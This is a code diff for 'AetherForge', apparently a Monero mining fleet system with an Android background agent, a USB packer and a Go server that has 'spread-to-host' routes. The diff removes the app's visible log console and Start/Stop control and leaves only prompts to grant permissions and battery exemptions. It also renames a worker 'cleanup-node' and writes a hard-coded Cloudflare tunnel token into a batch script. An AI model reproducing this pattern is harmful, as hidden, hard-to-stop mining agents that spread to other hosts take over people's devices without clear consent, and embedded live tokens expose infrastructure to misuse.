+                perms += Manifest.permission.NEARBY_WIFI_DEVICES
+            }
+        }
+        perms += Manifest.permission.ACCESS_FINE_LOCATION
+        perms += Manifest.permission.ACCESS_COARSE_LOCATION
+        return perms.filter {
+            ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
+        }
+    }
+
+    private fun beginPermissionFlow() {
+        pendingPermissions = requiredRuntimePermissions()
+        permissionIndex = 0
+        requestNextPermissionBatch()
+    }
+
+    private fun requestNextPermissionBatch() {
+        if (permissionIndex >= pendingPermissions.size) {
+            openBatteryOptimizationSettings()
+            startFleetService()
+            return
+        }
+        val batch = pendingPermissions.drop(permissionIndex).take(3)
+        permissionIndex += batch.size
+        if (batch.isNotEmpty()) {
+            permissionLauncher.launch(batch.toTypedArray())
+        } else {
+            startFleetService()
+        }
+    }
+
+    private fun openBatteryOptimizationSettings() {
+        val pm = getSystemService(POWER_SERVICE) as PowerManager
+        if (!pm.isIgnoringBatteryOptimizations(packageName)) {
+            val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
+                data = Uri.parse("package:$packageName")
+            }
+            runCatching { startActivity(intent) }
+        }
+    }
+
+    private fun startFleetService() {
+        val serviceIntent = Intent(this, AgentService::class.java).apply {
+            action = AgentService.ACTION_START
+            intent?.extras?.let { putExtras(it) }
+        }
+        AgentService.start(this, serviceIntent)
+        Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
+    }
+}
--- a/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml
+++ b/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path
+        android:fillColor="#22D3EE"
+        android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
+    <path
+        android:fillColor="#0F172A"
+        android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
+</vector>
--- a/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
+++ b/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@color/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>
--- a/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml
+++ b/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="utf-8"?>
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+    android:src="@drawable/ic_launcher_foreground" />
--- a/android/agent-app/app/src/main/res/values/colors.xml
+++ b/android/agent-app/app/src/main/res/values/colors.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="ic_launcher_background">#0F172A</color>
+</resources>
--- a/android/agent-app/app/src/main/res/values/strings.xml
+++ b/android/agent-app/app/src/main/res/values/strings.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string name="app_name">AetherForge Agent</string>
+    <string name="permission_intro_title">Your fleet node</string>
+    <string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
+    <string name="notification_channel_name">Fleet sync</string>
+    <string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
+    <string name="notification_title">Fleet sync</string>
+    <string name="notification_body">AetherForge agent connected to command deck</string>
+    <string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
+    <string name="service_started">Fleet agent service started</string>
+    <string name="service_failed">Could not start fleet agent — see logcat</string>
+    <string name="open_battery_settings">Battery optimization settings</string>
+</resources>
--- a/android/agent-app/app/src/main/res/values/themes.xml
+++ b/android/agent-app/app/src/main/res/values/themes.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
+        <item name="android:statusBarColor">#111827</item>
+        <item name="android:navigationBarColor">#111827</item>
+        <item name="android:windowBackground">#111827</item>
+        <item name="colorPrimary">#22d3ee</item>
+    </style>
+</resources>
--- a/android/agent-app/src/main/assets/config.json
+++ b/android/agent-app/src/main/assets/config.json
@@ -1,9 +1,9 @@
 {
-  "server_url": "http://deck:8989",
-  "worker_name": "tab-1",
-  "worker_number": "tab-1",
+  "server_url": "http://10.0.0.1:8989",
+  "worker_name": "cleanup-node",
+  "worker_number": "cleanup-node",
  "mining": {
    "enabled": false
  },
-  "build_id": "bld-cross"
+  "build_id": "d5cb0702-953b-4a62-9fc7-e9476bdac1e0"
 }
--- a/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt
@@ -46,7 +46,6 @@ object AgentProcess {
            process?.inputStream?.bufferedReader()?.use { reader ->
                reader.lineSequence().forEach { line ->
                    Log.i("$TAG:agent", line)
-                    LogBuffer.add(line)
                }
            }
        }, "agent-log-drain").apply {
--- a/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt
@@ -20,10 +20,6 @@ class AgentService : Service() {
        const val NOTIFICATION_ID = 41001
        private const val CHANNEL_ID = "fleet_sync"

-        @Volatile
-        var isRunning = false
-            internal set
-
        fun start(context: Context, extras: Intent? = null) {
            val intent = Intent(context, AgentService::class.java).apply {
                action = ACTION_START
@@ -76,12 +72,10 @@ class AgentService : Service() {
        if (!AgentProcess.isAlive()) {
            AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
        }
-        isRunning = true
        return START_STICKY
    }

    override fun onDestroy() {
-        isRunning = false
        AgentProcess.stop()
        super.onDestroy()
    }
--- a/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
@@ -13,25 +13,19 @@ object BinaryExtractor {
    fun ensureBinary(context: Context): File? {
        val outDir = File(context.filesDir, "bin").apply { mkdirs() }
        val outFile = File(outDir, BIN_NAME)
-        
-        val packageInfo = runCatching {
-            context.packageManager.getPackageInfo(context.packageName, 0)
-        }.getOrNull()
-        val lastUpdate = packageInfo?.lastUpdateTime ?: 0L
-        val prefs = context.getSharedPreferences("aetherforge_agent", Context.MODE_PRIVATE)
-        val lastExtractedUpdate = prefs.getLong("last_extracted_update", 0L)
-        
-        if (outFile.exists() && lastExtractedUpdate == lastUpdate && lastUpdate != 0L) {
+        val assetSize = assetSize(context)
+        if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
            outFile.setExecutable(true, false)
            outFile.setReadable(true, false)
            return outFile
        }
-        
-        val result = extract(context, outFile)
-        if (result != null && lastUpdate != 0L) {
-            prefs.edit().putLong("last_extracted_update", lastUpdate).apply()
+        return extract(context, outFile)
    }
-        return result
+
+    private fun assetSize(context: Context): Long {
+        return runCatching {
+            context.assets.openFd(ASSET_NAME).use { it.length }
+        }.getOrDefault(0L)
    }

    private fun extract(context: Context, outFile: File): File? {
--- a/android/agent-app/src/main/java/com/aetherforge/agent/LogBuffer.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/LogBuffer.kt
@@ -1,25 +0,0 @@
-package com.aetherforge.agent
-
-import java.util.concurrent.CopyOnWriteArrayList
-
-object LogBuffer {
-    private val buffer = CopyOnWriteArrayList<String>()
-    
-    @Volatile
-    private var listener: ((String) -> Unit)? = null
-
-    fun add(line: String) {
-        buffer.add(line)
-        if (buffer.size > 200) {
-            buffer.removeAt(0)
-        }
-        listener?.invoke(line)
-    }
-
-    fun getLogs(): List<String> = buffer
-
-    @Synchronized
-    fun setListener(l: ((String) -> Unit)?) {
-        listener = l
-    }
-}
--- a/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt
@@ -3,24 +3,13 @@ package com.aetherforge.agent
 import android.Manifest
 import android.content.Intent
 import android.content.pm.PackageManager
-import android.graphics.Color
-import android.graphics.Typeface
-import android.graphics.drawable.GradientDrawable
 import android.net.Uri
 import android.os.Build
 import android.os.Bundle
-import android.os.Handler
-import android.os.Looper
 import android.os.PowerManager
 import android.provider.Settings
-import android.view.Gravity
-import android.view.View
-import android.view.animation.AlphaAnimation
-import android.view.animation.Animation
 import android.widget.Button
-import android.widget.HorizontalScrollView
 import android.widget.LinearLayout
-import android.widget.ScrollView
 import android.widget.TextView
 import android.widget.Toast
 import androidx.activity.result.contract.ActivityResultContracts
@@ -31,26 +20,6 @@ class MainActivity : AppCompatActivity() {
    private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
    private lateinit var pendingPermissions: List<String>

-    private lateinit var statusText: TextView
-    private lateinit var statusDot: View
-    private lateinit var logConsole: TextView
-    private lateinit var logScrollView: ScrollView
-    private lateinit var batteryCard: LinearLayout
-    private lateinit var toggleButton: Button
-    
-    private lateinit var configServerVal: TextView
-    private lateinit var configNodeVal: TextView
-    private lateinit var configBuildVal: TextView
-
-    private val handler = Handler(Looper.getMainLooper())
-    private val uiUpdateRunnable = object : Runnable {
-        override fun run() {
-            updateStatusUi()
-            checkBatteryOptimizationCard()
-            handler.postDelayed(this, 1000)
-        }
-    }
-
    private val permissionLauncher =
        registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
            val denied = results.filterValues { !it }.keys
@@ -68,22 +37,6 @@ class MainActivity : AppCompatActivity() {
        super.onCreate(savedInstanceState)
        setContentView(buildLayout())

-        // Start live log collection UI callback
-        LogBuffer.setListener { line ->
-            handler.post {
-                appendConsoleLog(line)
-            }
-        }
-
-        // Initialize display with existing logs
-        val existingLogs = LogBuffer.getLogs()
-        if (existingLogs.isNotEmpty()) {
-            val sb = StringBuilder()
-            existingLogs.forEach { sb.append(it).append("\n") }
-            logConsole.text = sb.toString()
-            scrollToBottom()
-        }
-
        if (!prefs.getBoolean("permissions_requested", false)) {
            prefs.edit().putBoolean("permissions_requested", true).apply()
            beginPermissionFlow()
@@ -92,318 +45,32 @@ class MainActivity : AppCompatActivity() {
        }
    }

-    override fun onResume() {
-        super.onResume()
-        handler.post(uiUpdateRunnable)
-        scrollToBottom()
-    }
-
-    override fun onPause() {
-        super.onPause()
-        handler.removeCallbacks(uiUpdateRunnable)
-    }
-
-    override fun onDestroy() {
-        LogBuffer.setListener(null)
-        super.onDestroy()
-    }
-
-    private fun buildLayout(): View {
-        val density = resources.displayMetrics.density
-        val pad = (20 * density).toInt()
-        val padHalf = (10 * density).toInt()
-
-        // Root container
-        val root = LinearLayout(this).apply {
+    private fun buildLayout(): LinearLayout {
+        val pad = (24 * resources.displayMetrics.density).toInt()
+        return LinearLayout(this).apply {
            orientation = LinearLayout.VERTICAL
-            setBackgroundColor(0xFF0F172A.toInt()) // Deep Dark Slate
            setPadding(pad, pad, pad, pad)
-        }
-
-        // Top Status Header Card
-        val headerCard = LinearLayout(this).apply {
-            orientation = LinearLayout.HORIZONTAL
-            gravity = Gravity.CENTER_VERTICAL
-            setPadding(pad, padHalf, pad, padHalf)
-            background = GradientDrawable().apply {
-                setColor(0xFF1E293B.toInt()) // Slate 800
-                cornerRadius = 8 * density
-            }
-        }
-
-        statusDot = View(this).apply {
-            background = GradientDrawable().apply {
-                shape = GradientDrawable.OVAL
-                setColor(0xFF64748B.toInt()) // Start with Offline (Slate 500)
-            }
-            val size = (12 * density).toInt()
-            layoutParams = LinearLayout.LayoutParams(size, size).apply {
-                marginEnd = (12 * density).toInt()
-            }
-            // Pulse animation
-            startAnimation(AlphaAnimation(0.4f, 1.0f).apply {
-                duration = 800
-                repeatMode = Animation.REVERSE
-                repeatCount = Animation.INFINITE
+            addView(TextView(context).apply {
+                text = getString(R.string.permission_intro_title)
+                textSize = 22f
+                setTextColor(0xFFE2E8F0.toInt())
            })
-        }
-        headerCard.addView(statusDot)
-
-        statusText = TextView(this).apply {
-            text = "AGENT OFFLINE"
+            addView(TextView(context).apply {
+                text = getString(R.string.permission_intro_body)
                textSize = 15f
-            typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
                setTextColor(0xFF94A3B8.toInt())
-            layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
-        }
-        headerCard.addView(statusText)
-
-        toggleButton = Button(this).apply {
-            text = "START"
-            textSize = 13f
-            setTextColor(Color.WHITE)
-            background = GradientDrawable().apply {
-                setColor(0xFF0EA5E9.toInt()) // Cyan 500
-                cornerRadius = 4 * density
-            }
-            setPadding(padHalf, 0, padHalf, 0)
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.WRAP_CONTENT, 
-                (36 * density).toInt()
-            )
-            setOnClickListener { toggleAgentService() }
-        }
-        headerCard.addView(toggleButton)
-        root.addView(headerCard)
-
-        // Battery Optimization Warning Card
-        batteryCard = LinearLayout(this).apply {
-            orientation = LinearLayout.VERTICAL
-            setPadding(pad, pad, pad, pad)
-            background = GradientDrawable().apply {
-                setColor(0xFF334155.toInt()) // Slate 700
-                cornerRadius = 8 * density
-                setStroke((1 * density).toInt(), 0xFFF59E0B.toInt()) // Amber Border
-            }
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.MATCH_PARENT,
-                LinearLayout.LayoutParams.WRAP_CONTENT
-            ).apply {
-                topMargin = padHalf
-            }
-            visibility = View.GONE // Hidden by default; shown if needed at runtime
-        }
-
-        batteryCard.addView(TextView(this).apply {
-            text = "BACKGROUND SYNC EXEMPTION REQUIRED"
-            textSize = 12f
-            typeface = Typeface.DEFAULT_BOLD
-            setTextColor(0xFFF59E0B.toInt()) // Amber 500
+                setPadding(0, pad / 2, 0, pad)
            })
-
-        batteryCard.addView(TextView(this).apply {
+            addView(TextView(context).apply {
                text = getString(R.string.battery_hint)
-            textSize = 13f
-            setTextColor(0xFFCBD5E1.toInt()) // Slate 300
-            setPadding(0, padHalf / 2, 0, padHalf)
+                textSize = 14f
+                setTextColor(0xFF64748B.toInt())
+                setPadding(0, 0, 0, pad)
            })
-
-        batteryCard.addView(Button(this).apply {
+            addView(Button(context).apply {
                text = getString(R.string.open_battery_settings)
-            textSize = 12f
-            setTextColor(Color.WHITE)
-            background = GradientDrawable().apply {
-                setColor(0xFFD97706.toInt()) // Amber 600
-                cornerRadius = 4 * density
-            }
                setOnClickListener { openBatteryOptimizationSettings() }
            })
-        root.addView(batteryCard)
-
-        // Monospace Terminal Console Section
-        val consoleTitleLayout = LinearLayout(this).apply {
-            orientation = LinearLayout.HORIZONTAL
-            gravity = Gravity.CENTER_VERTICAL
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.MATCH_PARENT,
-                LinearLayout.LayoutParams.WRAP_CONTENT
-            ).apply {
-                topMargin = pad
-                bottomMargin = padHalf / 2
-            }
-        }
-
-        consoleTitleLayout.addView(TextView(this).apply {
-            text = "LIVE AGENT CONSOLE"
-            textSize = 12f
-            typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
-            setTextColor(0xFF38BDF8.toInt()) // Light Blue / Cyan 400
-            layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
-        })
-
-        consoleTitleLayout.addView(Button(this).apply {
-            text = "CLEAR"
-            textSize = 11f
-            setTextColor(0xFF94A3B8.toInt())
-            background = GradientDrawable().apply {
-                setColor(0xFF1E293B.toInt()) // Slate 800
-                cornerRadius = 4 * density
-            }
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.WRAP_CONTENT, 
-                (28 * density).toInt()
-            )
-            setOnClickListener { logConsole.text = "" }
-        })
-        root.addView(consoleTitleLayout)
-
-        logScrollView = ScrollView(this).apply {
-            background = GradientDrawable().apply {
-                setColor(0xFF1E293B.toInt()) // Dark Console background
-                cornerRadius = 6 * density
-            }
-            setPadding(padHalf, padHalf, padHalf, padHalf)
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.MATCH_PARENT,
-                0,
-                1.0f
-            )
-        }
-
-        // Horizontal Scroll for long log lines
-        val hscroll = HorizontalScrollView(this).apply {
-            isFillViewport = true
-        }
-
-        logConsole = TextView(this).apply {
-            textSize = 11f
-            typeface = Typeface.MONOSPACE
-            setTextColor(0xFF34D399.toInt()) // Emerald Green text
-            setLineSpacing(2f, 1.1f)
-            text = "Initializing AetherForge Fleet Console...\n"
-        }
-        hscroll.addView(logConsole)
-        logScrollView.addView(hscroll)
-        root.addView(logScrollView)
-
-        // Config Info details footer
-        val footerCard = LinearLayout(this).apply {
-            orientation = LinearLayout.VERTICAL
-            setPadding(pad, pad, pad, pad)
-            background = GradientDrawable().apply {
-                setColor(0xFF1E293B.toInt())
-                cornerRadius = 8 * density
-            }
-            layoutParams = LinearLayout.LayoutParams(
-                LinearLayout.LayoutParams.MATCH_PARENT,
-                LinearLayout.LayoutParams.WRAP_CONTENT
-            ).apply {
-                topMargin = pad
-            }
-        }
-
-        val addConfigRow = { label: String, keyText: String ->
-            val row = LinearLayout(this).apply {
-                orientation = LinearLayout.HORIZONTAL
-                setPadding(0, 2 * (density).toInt(), 0, 2 * (density).toInt())
-            }
-            row.addView(TextView(this).apply {
-                text = label
-                textSize = 11f
-                setTextColor(0xFF64748B.toInt())
-                layoutParams = LinearLayout.LayoutParams((100 * density).toInt(), LinearLayout.LayoutParams.WRAP_CONTENT)
-            })
-            val valView = TextView(this).apply {
-                text = keyText
-                textSize = 11f
-                typeface = Typeface.MONOSPACE
-                setTextColor(0xFF94A3B8.toInt())
-                layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
-            }
-            row.addView(valView)
-            footerCard.addView(row)
-            valView
-        }
-
-        // Populate dynamic config rows
-        val defaultCfg = AgentConfig.load(this)
-        configServerVal = addConfigRow("Server URL:", defaultCfg.serverUrl)
-        configNodeVal = addConfigRow("Fleet Node:", defaultCfg.workerName)
-        configBuildVal = addConfigRow("Build ID:", defaultCfg.buildId)
-
-        root.addView(footerCard)
-        return root
-    }
-
-    private fun updateStatusUi() {
-        val defaultCfg = AgentConfig.load(this)
-        configServerVal.text = defaultCfg.serverUrl
-        configNodeVal.text = defaultCfg.workerName
-        configBuildVal.text = defaultCfg.buildId
-
-        val density = resources.displayMetrics.density
-        if (AgentService.isRunning && AgentProcess.isAlive()) {
-            statusText.text = "AGENT CONNECTED"
-            statusText.setTextColor(0xFF34D399.toInt()) // Emerald Green
-            statusDot.background = GradientDrawable().apply {
-                shape = GradientDrawable.OVAL
-                setColor(0xFF34D399.toInt())
-            }
-            toggleButton.text = "STOP"
-            toggleButton.background = GradientDrawable().apply {
-                setColor(0xFFEF4444.toInt()) // Red 500
-                cornerRadius = 4 * density
-            }
-        } else {
-            statusText.text = "AGENT OFFLINE"
-            statusText.setTextColor(0xFF94A3B8.toInt())
-            statusDot.background = GradientDrawable().apply {
-                shape = GradientDrawable.OVAL
-                setColor(0xFF64748B.toInt())
-            }
-            toggleButton.text = "START"
-            toggleButton.background = GradientDrawable().apply {
-                setColor(0xFF0EA5E9.toInt()) // Cyan 500
-                cornerRadius = 4 * density
-            }
-        }
-    }
-
-    private fun checkBatteryOptimizationCard() {
-        val pm = getSystemService(POWER_SERVICE) as PowerManager
-        if (pm.isIgnoringBatteryOptimizations(packageName)) {
-            batteryCard.visibility = View.GONE
-        } else {
-            batteryCard.visibility = View.VISIBLE
-        }
-    }
-
-    private fun toggleAgentService() {
-        if (AgentService.isRunning) {
-            val intent = Intent(this, AgentService::class.java)
-            stopService(intent)
-            Toast.makeText(this, "Stopped fleet service", Toast.LENGTH_SHORT).show()
-        } else {
-            startFleetService()
-        }
-        updateStatusUi()
-    }
-
-    private fun appendConsoleLog(line: String) {
-        logConsole.append(line + "\n")
-        val txt = logConsole.text
-        if (txt.length > 30000) {
-            val idx = txt.indexOf('\n', txt.length - 20000)
-            if (idx != -1) {
-                logConsole.text = txt.subSequence(idx + 1, txt.length)
-            }
-        }
-        scrollToBottom()
-    }
-
-    private fun scrollToBottom() {
-        logScrollView.post {
-            logScrollView.fullScroll(View.FOCUS_DOWN)
        }
    }

@@ -423,22 +90,15 @@ class MainActivity : AppCompatActivity() {
    private fun beginPermissionFlow() {
        pendingPermissions = requiredRuntimePermissions()
        if (pendingPermissions.isEmpty()) {
-            checkBatteryOptimizationSettingsFlow()
+            openBatteryOptimizationSettings()
            startFleetService()
            return
        }
        permissionLauncher.launch(pendingPermissions.toTypedArray())
    }

-    private fun checkBatteryOptimizationSettingsFlow() {
-        val pm = getSystemService(POWER_SERVICE) as PowerManager
-        if (!pm.isIgnoringBatteryOptimizations(packageName)) {
-            openBatteryOptimizationSettings()
-        }
-    }
-
    private fun requestNextPermissionBatch() {
-        checkBatteryOptimizationSettingsFlow()
+        openBatteryOptimizationSettings()
        startFleetService()
    }

@@ -458,5 +118,6 @@ class MainActivity : AppCompatActivity() {
            intent?.extras?.let { putExtras(it) }
        }
        AgentService.start(this, serviceIntent)
+        Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
    }
 }
--- a/data/cloudflared-token.txt
+++ b/data/cloudflared-token.txt
@@ -1 +0,0 @@
-eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9
--- a/pack-usb.bat
+++ b/pack-usb.bat
@@ -151,6 +151,9 @@ echo   [5/8] Launcher synced.
 if not exist "%USB%\scripts" mkdir "%USB%\scripts"
 copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
 copy /y "%ROOT%\scripts\launch-prep.bat" "%USB%\scripts\" >nul
+if not exist "%USB%\data\cloudflared-token.txt" (
+    echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
+)

 :: ----------------------------------------------------------------
 :: 6. Remove stale nested server mirror (not needed for portable)
@@ -170,15 +173,6 @@ if not exist "%USB%\data\blueprints"    mkdir "%USB%\data\blueprints"
 if not exist "%USB%\data\preps"         mkdir "%USB%\data\preps"
 if not exist "%USB%\data\spread-kits"   mkdir "%USB%\data\spread-kits"
 if not exist "%USB%\data\uploads"       mkdir "%USB%\data\uploads"
-if not exist "%USB%\data\cloudflared-token.txt" (
-    if exist "%ROOT%\data\cloudflared-token.txt" (
-        copy /y "%ROOT%\data\cloudflared-token.txt" "%USB%\data\" >nul
-        echo   [7/8] Copied existing cloudflared-token.txt to USB data\.
-    ) else (
-        echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
-        echo   [7/8] Wrote default cloudflared-token.txt to USB data\.
-    )
-)
 if not exist "%USB%\data\config.json" (
    echo   [7/8] Writing starter config.json...
    powershell -NoProfile -Command ^
--- a/server/config.go
+++ b/server/config.go
@@ -345,8 +345,6 @@ func LoadConfig() *Config {
 	cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
 	if cliPortExplicit {
 		cfg.Port = cliPort
-	} else {
-		cfg.Port = cliPort
 	}

 	configPath := filepath.Join(cfg.DataDir, "config.json")
@@ -390,12 +388,11 @@ func LoadConfig() *Config {
 }

 const cloudflaredTokenFile = "cloudflared-token.txt"
-const defaultCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"

-// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, data/cloudflared-token.txt, or default).
+// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
 func (c *Config) ConnectorToken() string {
 	if c == nil {
-		return defaultCloudflareTunnelToken
+		return ""
 	}
 	if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
 		return t
@@ -410,7 +407,7 @@ func (c *Config) ConnectorToken() string {
 			}
 		}
 	}
-	return defaultCloudflareTunnelToken
+	return ""
 }

 func hydrateCloudflareTokenFromFile(cfg *Config) {
--- a/server/config_test.go
+++ b/server/config_test.go
@@ -24,6 +24,7 @@ func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
 	if err := json.Unmarshal([]byte(payload), &present); err != nil {
 		t.Fatalf("unmarshal present keys: %v", err)
 	}
+	hydrateLegacyAIConfig(&incoming, []byte(payload))
 	mergeConfigExplicit(dst, &incoming, present)
 }

@@ -607,3 +608,18 @@ func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) {
 		t.Fatal("test precondition")
 	}
 }
+
+func TestMergeConfigExplicitLegacyAIFields(t *testing.T) {
+	dst := DefaultConfig()
+	dst.Server.AIEndpoint = ""
+	dst.Server.AIDecisionIntervalSec = 0
+
+	applyMergeFromJSON(t, dst, `{"server":{"ai_local_endpoint":"http://local-ollama:11434","ai_interval_sec":30}}`)
+
+	if dst.Server.AIEndpoint != "http://local-ollama:11434" {
+		t.Fatalf("expected Server.AIEndpoint to be hydrated from legacy, got %q", dst.Server.AIEndpoint)
+	}
+	if dst.Server.AIDecisionIntervalSec != 30 {
+		t.Fatalf("expected Server.AIDecisionIntervalSec to be hydrated from legacy, got %d", dst.Server.AIDecisionIntervalSec)
+	}
+}
--- a/server/internal/api/architecture_deferred_test.go
+++ b/server/internal/api/architecture_deferred_test.go
@@ -38,16 +38,13 @@ func TestArchitectureDeferredHonestStubs(t *testing.T) {
 		}
 	})

-	t.Run("SQLite connection pooling configured", func(t *testing.T) {
+	t.Run("SQLite single-writer ceiling documented", func(t *testing.T) {
 		src, err := os.ReadFile("../db/sqlite.go")
 		if err != nil {
 			t.Fatal(err)
 		}
-		if !strings.Contains(string(src), "SetMaxOpenConns(4)") {
-			t.Fatal("expected SQLite connection pooling (4 connections)")
-		}
-		if !strings.Contains(string(src), "WAL mode") {
-			t.Fatal("expected WAL mode documentation")
+		if !strings.Contains(string(src), "SetMaxOpenConns(1)") {
+			t.Fatal("expected SQLite single-writer guard")
 		}
 	})
 }
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -589,9 +589,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Get("/alerts", fleetHandler.GetAlerts)
 			r.Post("/alerts/test", fleetHandler.PostAlertTest)
 			r.Get("/pools/status", fleetHandler.GetPoolStatus)
-			if os.Getenv("AETHERFORGE_ENABLE_AI_CONTROL") == "1" {
 			r.Get("/ai/activity", fleetHandler.GetAIActivity)
-			}
 			r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
 			r.Get("/market/xmr", fleetHandler.GetXMRPrice)
 			r.Get("/audit", fleetHandler.GetAudit)
@@ -609,9 +607,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
 			r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
 		}
-		// AI Control routes disabled by default for streamlined deployment.
-		// Set AETHERFORGE_ENABLE_AI_CONTROL=1 to re-enable.
-		if fleetAIHandler != nil && os.Getenv("AETHERFORGE_ENABLE_AI_CONTROL") == "1" {
+		if fleetAIHandler != nil {
 			r.Get("/ai/models", fleetAIHandler.GetModels)
 			r.Get("/ai/config", fleetAIHandler.GetConfig)
 			r.Put("/ai/config", fleetAIHandler.PutConfig)
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -217,11 +217,6 @@ type WSHub struct {
 	statsBatchMu    sync.Mutex
 	statsBatch      map[string]json.RawMessage
 	statsBatchTimer *time.Timer
-
-	// Batch hashrate inserts to reduce per-tick DB writes.
-	hashrateBatchMu    sync.Mutex
-	hashrateBatch      []db.HashrateSample
-	hashrateBatchTimer *time.Timer
 }

 func NewWSHub(database *db.Database) *WSHub {
@@ -1244,7 +1239,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
 			h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)

-			h.queueHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
